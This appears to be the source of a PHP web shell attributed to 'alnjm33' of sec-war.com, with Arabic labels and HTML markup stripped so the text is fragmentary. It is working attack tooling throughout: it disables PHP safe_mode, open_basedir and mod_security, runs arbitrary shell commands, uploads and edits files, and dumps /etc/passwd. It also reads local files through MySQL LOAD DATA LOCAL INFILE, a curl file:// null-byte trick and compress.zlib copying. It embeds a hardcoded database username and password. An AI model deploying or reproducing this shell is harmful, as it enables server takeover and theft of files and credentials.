by alnjm33

الدخول بيوزر + باسورد

'); } ?> "; echo" "; echo ""; if (empty($_POST['FucK'] ) ) { }ELSE{ $action = '?action=FucK'; echo "
"; $fp = fopen("php.ini","w+"); fwrite($fp,"safe_mode = Off disable_functions = NONE open_basedir = OFF "); echo "Safe mode done .."; echo ("
") ?> FucKFilterEngine Off FucKFilterScanPOST Off FucKFilterCheckURLEncoding Off FucKFilterCheckUnicodeEncoding Off "); echo "mod_security done..............
"; echo " "; exit; } $footer = "

powered by alnjm33

sec-war.com

"; #/s/e/c/-/w/a/r/./c/o/m/############ ####### $mysql_use = "yes"; //"no" //##### /// للتخطى بداله sql $mhost = "localhost"; //##### $muser = "gwcc_gccjoom"; ###### $mpass = "MonkeY"; ####### $mdb = "gwcc_gccjoomla15"; ###### #/s/e/c/-/w/a/r/./c/o/m/############ ?>

By SeCuRiTy WaR

"; echo ""; echo "php is :"; echo " "; echo phpversion(); echo " "; echo "
"; echo "uname -a:"; echo " "; echo (php_uname()); echo " "; echo "
"; $mod = (ini_get ("safe_mode")); if ($mod == 1) { echo "safe mode is : ON (secure) "; } else { echo " safe mode is: OFF (not secure)"; } echo "
"; echo "disable functions ::: "; if(''==($badfunctions=@ini_get('disable_functions'))) {echo "no functions";} else {echo "$badfunctions";} $secwar = getcwd(); echo "
"; echo "dir : $secwar"; echo "
"; $server = gethostbyname($_SERVER["HTTP_HOST"]); echo "server ip : $server "; echo ""; ?>
UPLOAD FILE

"; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); echo "Uploaded !!!
name : ".$_FILES['uploads']['name']."
size : ".$_FILES['uploads']['size']."
type : ".$_FILES['uploads']['type']; } ?>
?&&war method='post'>
run cmd

automatic shell_exec passthru system
"; if (isset($_GET['war'])) { $dds=$_POST['cmmmd']; $com=$_POST['command']; if (isset($dds)) { if ($dds=="1") { echo shell_exec($com); } elseif($dds=="2") { echo system($com); } elseif ($dds=="3") { passthru($com); } elseif ($dds=="4") { if (function_exists(shell_exec)) { echo shell_exec($com); } elseif (function_exists(system)) { echo system($com); } elseif (function_exists(passthru)) { echo passthru($com); } else { echo "[-]Error"; } } } } echo ""; ?>

.:Edit File:.
".stripslashes($file)."

"; if (isset($_POST['editgo']) && $_POST['editfile'] !=$cwd) { $file = $_POST['editfile']; $content = file_get_contents($file); echo "

".htmlspecialchars($content)."

"; } if (isset($_POST['edit'])) { $file = $_POST['editfile']; $ch = fopen($file, "w+") or die(""); fwrite($ch, stripslashes($_POST['newtext'])) or die (""); fclose($ch); echo ""; } echo "
"; ?>
ثـــــــــــغـــــــــــــــــــــــرات لقــــــــــــــــــــــراـءه المــــــــــــــــــــــــــــــــــــــلــــــــــــــــفـــــــــــــــــــــــات
by alnjm33

ini_restore:

"; if(empty($_POST['inimode'])){ } else { echo "Done.....","
"; echo "

"; $inimode=$_POST['inimode']; echo ini_get("safe_mode"); echo ini_get("open_basedir"); $s=readfile("$m"); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); $s=readfile("$inimode"); echo "
"; } echo "

Read etc/passwd

"; if ($_GET['blue'] ) for($uid=0;$uid<60000;$uid++){ $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list ($key, $val) = each($ara)){ print "$val:"; } print "\n"; } } echo "
"; ?>

SQL :



"; if(empty($_POST['sql'])){ } else { echo "

" ; $sqlfile=$_POST['sql']; $mysql_files_str = "/etc/passwd:/proc/cpuinfo:/etc/resolv.conf:/etc/proftpd.conf"; $mysql_files = explode(':', $mysql_files_str); $sql = array ( "USE $mdb", 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', "LOAD DATA LOCAL INFILE '$sqlfile' INTO TABLE $tbl FIELDS " . "TERMINATED BY '__THIS_NEVER_HAPPENS__' " . "ESCAPED BY '' " . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", "SELECT a FROM $tbl LIMIT 1" ); mysql_connect ($mhost, $muser, $mpass); foreach ($sql as $statement) { $q = mysql_query ($statement); if ($q == false) die ( "FAILED: " . $statement . "\n" . "REASON: " . mysql_error () . "\n" ); if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; echo htmlspecialchars($r[0]); mysql_free_result ($q); } echo "
"; } ?>

curl

"; if(empty($_POST['cur'])){ } else { echo "Reading .....","
" ; echo "

"; $m=$_POST['cur']; $li = curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); curl_exec($li); var_dump(curl_exec($li)); echo "
"; } // منقول من very secret echo "

show_source :

highlight_file :

"; if(empty($_POST['source'])) { } else { $s = $_POST['source']; echo "show_source
"; $source = show_source($s); echo ""; } if(empty($_POST['high'])) { } else { $h = $_POST['high']; echo "highlight_file
"; echo "
"; $high = highlight_file($h); } ?>

Copy :



"; $mon=""; $tymczas=""; if(empty($_POST['copy'])){ } else { echo "
Done.....
" ; "
"; echo ""; $mon=$_POST['copy']; $temp=tempnam($tymczas, "cx"); if(copy("compress.zlib://".$mon, $temp)){ $zrodlo = fopen($temp, "r"); $tekst = fread($zrodlo, filesize($temp)); fclose($zrodlo); echo "".htmlspecialchars($tekst).""; unlink($temp); echo ""; echo " "; } else { die("هذا الملف ياما غير موجود ياما ليس لديك التصريح "".htmlspecialchars($mon)."" "); } } ?> ?team>

MeMaTi

PrEdAtOr

AlNjM33

mrlala

xXx

الشبح المرح

DON-CaRloS

مجنون جنان

جميع القائمين على موقع سيكيورتى وار
"; exit; } ?>